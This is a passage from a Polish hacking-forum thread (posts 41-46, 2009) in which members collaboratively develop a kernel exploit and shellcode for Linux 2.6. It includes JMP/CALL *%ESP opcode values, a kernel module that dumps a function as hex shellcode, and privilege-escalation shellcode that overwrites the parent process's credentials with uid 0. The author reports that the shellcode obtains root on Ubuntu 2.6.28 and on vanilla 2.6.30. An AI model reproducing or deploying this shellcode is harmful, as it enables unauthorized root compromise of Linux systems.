Strona 5 z 5 PierwszyPierwszy ... 345
Pokaż wyniki 41 do 46 z 46

Temat: Exploit / Shellcode dla modułu jądra Linux 2.6

  1. #41
    dyb
    dyb jest offline
    Zarejestrowany
    May 2009
    Postów
    17

    Domyślnie

    Ormi, czy ostatni test przeprowadzałeś na wspomnianym wcześniej 2.6.28-11
    (generic) w Ubuntu? Zastanawiam się, czy to kwestia architektury, czy zmian
    w samym jądrze...

    Rafale, a jak to wygląda u Ciebie? Wszystko działa (z u-s też?)?

  2. #42
    Avatar Ormi
    Ormi jest offline %x-%x-%x-%n
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    Tja, ubuntu 2.6.28-11
    Black Coders | Hacking, Kernel, Linux, Operating Systems, Programming
    I otworzyła studnię Czeluści,
    a dym się uniósł ze studni jak dym z wielkiego pieca,
    i od dymu zaćmiło się słońce i powietrze.
    A z dymu wyszła szarańcza na ziemię,
    i dano jej moc jaką mają ziemskie skorpiony.
    (...)
    I dano jej nakaz aby nie zabijała,
    lecz aby przez pięć miesięcy cierpieli katusze...

  3. #43
    Zarejestrowany
    Jun 2009
    Postów
    1

    Domyślnie

    Cytat Napisał dyb Zobacz post
    Ok, poniżej linki do materiałów testowych:


    Sprawdziłem na 2.6.28.9 - AMD64. Działa wszystko poza odwołaniem do
    pamięci procesu, niestety. Tutaj jest info, że unable to handle kernel paging
    request at 0x0804xxyy. Więc nie jest już tak różowo, bo pozostają problemy
    związane ze zgadnięciem adresów, o których mówił Ormi. Jeżeli udałoby się
    odnaleźć adres nadpisywanego bufora lub/i wsadzić coś do pamięci jądra
    z poziomu aplikacji user-space (i znać / znaleźć ten adres), to jesteśmy
    w domu.

    Kto ma pomysł, co się dzieje z shellcodem, że modyfikuje się w trakcie działania?
    Jak to co, włączona randomizacja w 2.6.x.

    Musisz szukać nie zmieniajacych się linków, polecam dwie wartości:
    58623 translates into FFE4 and that means JMP *%ESP

    54527 translates into FFD4 and that means CALL *%ESP.

    (gdb) x/1i main+22
    0x80483ba : call *%esp


    Z tymi danymi powinieneś już sobie poradzić.


    pozdrawiam,

  4. #44
    Avatar Ormi
    Ormi jest offline %x-%x-%x-%n
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    1. "jmp *%esp" - o tym juz wiemy. Byla o tym mowa w tym temacie. Radze czytac CALY temat...
    2. Jaka randomizacja? Co ma randomizacja wspolnego z binarka shellcode'u? Chyba nie chcesz powiedziec ze opcode'y(czy jak to sie tam zwie) sa losowe o_O
    Poza tym nawet jesli uwierzymy w taki cud, to dalej jest to nielogiczne. W koncu gdy raz "naprawimy" shellcode, to juz wszystko dziala. Wiec gdzie ta randomizacja? To nie koniec. Jakos nie widze tej randomizacji dla przestrzeni jadra. Np. sys_open to zawsze sys_open - przy kazdym uruchomieniu jadra ma ten sam adres. Dla modulow jadra tez randomizacji nie ma. Chyba ze o czyms nie wiem?
    3. A teraz sie z czegos wytlumacze. Obiecalem ze dalej bede w tym grzebal i sprobuje cos osiagnac dzieki wyzej wspomnianemu jmp *%esp. Ale sie z tej obietnicy nie wywiazalem? Czemu? Lenistwo - dziala u mnie na Intelu, to co sie bede martwil architektura AMD? :P Poza tym mam 100 000 innych projekcikow
    Black Coders | Hacking, Kernel, Linux, Operating Systems, Programming
    I otworzyła studnię Czeluści,
    a dym się uniósł ze studni jak dym z wielkiego pieca,
    i od dymu zaćmiło się słońce i powietrze.
    A z dymu wyszła szarańcza na ziemię,
    i dano jej moc jaką mają ziemskie skorpiony.
    (...)
    I dano jej nakaz aby nie zabijała,
    lecz aby przez pięć miesięcy cierpieli katusze...

  5. #45
    Avatar Ormi
    Ormi jest offline %x-%x-%x-%n
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    Sorki, za dwa posty jeden pod drugim, ale inaczej nie byloby widac ze cos nowego sie pojawilo w temacie.

    No wiec mamy problem - duzy problem. Postanowilem przetestowac to wszystko na innym jadrze. Przy okazji zmienilem platforme testowa na laptopa, ale nie ma sie czym przejmowac - procesor intela(tak jak na starym komputerze) itp. Poza tym sprawdzilem czy to co uzyskalismy na ubuntowym jadrze 2.6.28 dziala i wyszlo na to ze tak.
    Ale skompilowalem sobie jadro 2.6.30(waniliowe). Do czego doszedlem?
    A wiec - jak juz pisalem - mamy do uzycia inny shellcode. Podaje kod:
    Kod:
    static void sh(void)
    {
    	struct cred *new = prepare_creds();
    	new->uid = new->euid = 0;
    	new->gid = new->egid = 0;
    	commit_creds(new);
    }
    Tym razem aby dostac binarke nie uzywalem objdumpa, tylko napisalem modul ktory mi wypisal w hexach "tresc" funkcji sh - w takim formacie, ze dalo sie nawet skopiowac i wkleic Podaje kod:
    Kod:
    #include <linux/kernel.h>
    #include <linux/module.h>
    #include <linux/init.h>
    #include <linux/proc_fs.h>
    #include <asm/uaccess.h>
    #include <linux/jiffies.h>
    #include <linux/sched.h>
    
    #define BUFSIZ 16
    
    MODULE_LICENSE("GPL");
    void sh(void)
    {
    	struct cred *new = prepare_creds();
    	new->uid = new->euid = 0;
    	new->gid = new->egid = 0;
    	commit_creds(new);
    }
    
    static int __init init_procmod (void)
    {
    	char *p1 = sh;
    	int i,a;
    	for(i = 0; i > -1; i++) {
    
    		a = ((int)((char)(*p1)));
    		if(a > 0xffffff00)
    			a -= 0xffffff00;
    		printk("\\x%x", a);
    		p1++;
    		if(a == 0xc3)
    			break;
    	}
    	printk("\n");
    	//printk("%d\n", memcmp(sh_asm, sh, sizeof(sh_asm)-1));
    
            return 0;
    }
    
    static void __exit exit_procmod (void)
    {
    
    }
    
    module_init (init_procmod);
    module_exit (exit_procmod);
    Ale skok na bufora zawierajacego hexy funkcji sh sie nie powiodl. Wiec postanowilem sprawdzic czy uda sie skok do samej funkcji.
    Tez nie! Majac w pamieci przyklad rafal44 sprawdzilem przekazywanie roznej ilosci bajtow(32, 36, 64), ale to nic nie dalo - nie dostajemy roota. Macie jakies pomysly co moze byc nie tak?
    Mi przyszlo do glowy, ze moze prepare_creds i commit_creds dzialaja "z opoznieniem" i przez to exploit nie dziala
    Jeszcze sprobuje "bezposredniej" modyfikacji pol real_cred i cred struktury task_struct(szczegoly w naglowku: linux/sched.h i linux/cred.h) i wrzuce raporty z kernel panic, ale to wieczorkiem.

    EDIT: O Boze! Jaki ja jestem glupi... Ide sobie na autobus i sie zastanawiam czemu shellcode nie dziala. No i wpadlem na pomysl czemu. Jak zwykle glupi blad. Przeciez zmienialem przywileje procesu current, ktory byl zabijany. Szybciutko zmienilem shellcode:
    Kod:
    void sh(void)
    {
    	struct cred *new = current->parent->real_cred;
    	new->uid = 0;
    	new->euid = 0;
    	new->gid = 0;
    	new->egid = 0;
    	new = current->parent->cred;
    	new->uid = 0;
    	new->euid = 0;
    	new->gid = 0;
    	new->egid = 0;
    }
    I to juz dziala. Zarowno jako skok do funkcji jak i w formie skoku do hexow w tablicy w przestrzeni uzytkownika.
    Czyli jednak dobre wiesci - powiodlo sie nam nie ze wzgledu na jakies zmiany w kodzie kernela ubuntu - to dziala tez w waniliowym. Mozemy sie cieszyc!
    Ostatnio edytowane przez Ormi : 06-23-2009 - 13:49 Powód: Moja glupota
    Black Coders | Hacking, Kernel, Linux, Operating Systems, Programming
    I otworzyła studnię Czeluści,
    a dym się uniósł ze studni jak dym z wielkiego pieca,
    i od dymu zaćmiło się słońce i powietrze.
    A z dymu wyszła szarańcza na ziemię,
    i dano jej moc jaką mają ziemskie skorpiony.
    (...)
    I dano jej nakaz aby nie zabijała,
    lecz aby przez pięć miesięcy cierpieli katusze...

  6. #46
    dyb
    dyb jest offline
    Zarejestrowany
    May 2009
    Postów
    17

    Domyślnie

    Witajcie.

    Nie żebym olał temat... po prostu zarzuciłem sprawę utrudnień AMD.

    Ormi, dzięki za dobre wieści. Także przetestuję na nowym jajku... na pewno
    funkcja dumpująca się przyda, bo standardowo to dość "upierdliwy" proces.

    Dziękuję za feedback i pozdrawiam!

Strona 5 z 5 PierwszyPierwszy ... 345

Podobne wątki

  1. Backdoor w pakiecie .deb jądra
    By Deathgazer in forum Wirusy/Konie trojańskie
    Odpowiedzi: 0
    Autor: 05-18-2009, 18:25
  2. Moduły jądra
    By Ormi in forum Linux
    Odpowiedzi: 7
    Autor: 01-05-2009, 17:21
  3. win32 shellcode
    By naichniach in forum Off Topic
    Odpowiedzi: 5
    Autor: 12-01-2007, 11:38
  4. problem po wciśnięciu modułu dll
    By Neghe in forum Wirusy/Konie trojańskie
    Odpowiedzi: 0
    Autor: 05-02-2007, 19:16

Tagi

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj